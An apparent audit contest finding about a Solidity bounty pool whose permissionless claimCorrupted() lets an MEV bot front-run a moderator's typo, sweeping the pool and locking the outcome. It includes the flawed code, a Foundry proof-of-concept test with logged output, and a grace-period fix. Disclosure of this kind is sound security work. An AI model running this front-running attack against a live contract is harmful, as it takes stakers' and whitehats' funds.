FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Permissionless "claimCorrupted" enables MEV front-running, permanently stealing whitehat bounties on moderator typos

Author Revealed upon completion

Root + Impact

Description

  • Normally, the protocol relies on the moderator to flag terminal pool outcomes. Design.md explicitly claims the moderator has a "pre-claim window" to fix typos. The developers assert that finality on the first claim is not a front-runnable race because honest stakers taking their individual shares do not usurp the overall outcome.


  • However, the specific issue lies in the claimCorrupted() function, which handles bad-faith resolutions. Unlike individual staker claims, this function is fully permissionless and sweeps the entire pool balance to the sponsor's recoveryAddress in a single transaction. If the moderator intends to reward a whitehat (good-faith) but accidentally submits the transaction with goodFaith_ = false (a typo), an MEV bot or malicious sponsor can instantly call claimCorrupted in the next block. This instantly sweeps the entire pool and permanently locks the outcome by setting claimsStarted = true. This completely bypasses the explicitly documented typo-correction window and irrevocably steals the whitehat's bounty.

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
@> // No caller restrictions (permissionless) and no typo-correction grace period
// aderyn-fp-next-line(reentrancy-state-change)
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
@> if (!claimsStarted) claimsStarted = true; // Permanently locks outcome, bypassing correction window
@> stakeToken.safeTransfer(recoveryAddress, toSweep); // Sweeps entire pool instantly

Risk

Likelihood:

  • Occurs when the moderator makes a typo and passes false for the goodFaith_ parameter during a valid whitehat exploit.

  • Occurs when an MEV bot or malicious actor monitors the mempool and calls claimCorrupted() before the moderator can send a correction transaction.


Impact:

  • The whitehat attacker permanently loses their entire bounty (the pool's total TVL is sent to the sponsor instead).

  • The moderator is permanently locked out of correcting the outcome due to the claimsStarted latch, breaking the advertised trust assumption.

Proof of Concept

This Foundry test simulates a scenario where the moderator makes a typo while flagging a good-faith outcome. It mathematically proves that an MEV bot can instantly front-run the correction window by calling the permissionless claimCorrupted() function, permanently sweeping the pool and locking the outcome before the moderator can fix the typo.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import "forge-std/console.sol";
contract M02_TypoFrontrunTest is BaseConfidencePoolTest {
function testBadFaithCorruptedTypoFrontRunnable() external {
console.log("1. Alice stakes 100 tokens into the pool...");
_stake(alice, 100 * ONE);
console.log("2. Upstream registry gets attacked (Simulating a real hack)...");
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
console.log("3. Moderator intends to reward the whitehat (goodFaith = true).");
console.log(" But they make a typo and pass 'false' for goodFaith!");
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
console.log("4. Bob (an MEV bot) sees the typo in the mempool.");
console.log(" Bob instantly calls claimCorrupted() before the moderator can fix it...");
vm.prank(bob);
pool.claimCorrupted();
console.log("5. Checking where the pool's 100 tokens went...");
uint256 recoveryBalance = token.balanceOf(recovery);
console.log(" - Sponsor's recovery address balance:", recoveryBalance / ONE);
assertEq(recoveryBalance, 100 * ONE, "Funds instantly swept to recovery");
console.log("6. Did Bob's transaction permanently lock the outcome?");
bool isLocked = pool.claimsStarted();
console.log(" - claimsStarted is:", isLocked);
assertTrue(isLocked, "Claims locked the outcome");
console.log("7. Moderator realizes their typo and tries to submit the correction (goodFaith = true)...");
vm.prank(moderator);
vm.expectRevert(); // OutcomeAlreadySet
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
console.log(" - REVERTED! The typo-correction window was entirely bypassed.");
console.log(" - IMPACT: The whitehat's entire bounty was irrevocably stolen.");
}
}

Run this Poc:

forge test --match-contract M02_TypoFrontrunTest -vv

Expected Output:

[PASS] testBadFaithCorruptedTypoFrontRunnable() (gas: 471119)
Logs:
1. Alice stakes 100 tokens into the pool...
2. Upstream registry gets attacked (Simulating a real hack)...
3. Moderator intends to reward the whitehat (goodFaith = true).
But they make a typo and pass 'false' for goodFaith!
4. Bob (an MEV bot) sees the typo in the mempool.
Bob instantly calls claimCorrupted() before the moderator can fix it...
5. Checking where the pool's 100 tokens went...
- Sponsor's recovery address balance: 100
6. Did Bob's transaction permanently lock the outcome?
- claimsStarted is: true
7. Moderator realizes their typo and tries to submit the correction (goodFaith = true)...
- REVERTED! The typo-correction window was entirely bypassed.
- IMPACT: The whitehat's entire bounty was irrevocably stolen.

Recommended Mitigation

To prevent bots from instantly finalizing the outcome during bad-faith sweeps, the protocol should either enforce an explicit time delay (grace period) to respect the moderator's typo-correction window, or restrict who is allowed to call the sweep function.

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
+ // Ensure the moderator's intended pre-claim typo correction window is respected
+ if (block.timestamp < outcomeFlaggedAt + 1 hours) revert ClaimWindowNotOpen();
// aderyn-fp-next-line(reentrancy-state-change)
uint256 toSweep = stakeToken.balanceOf(address(this));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!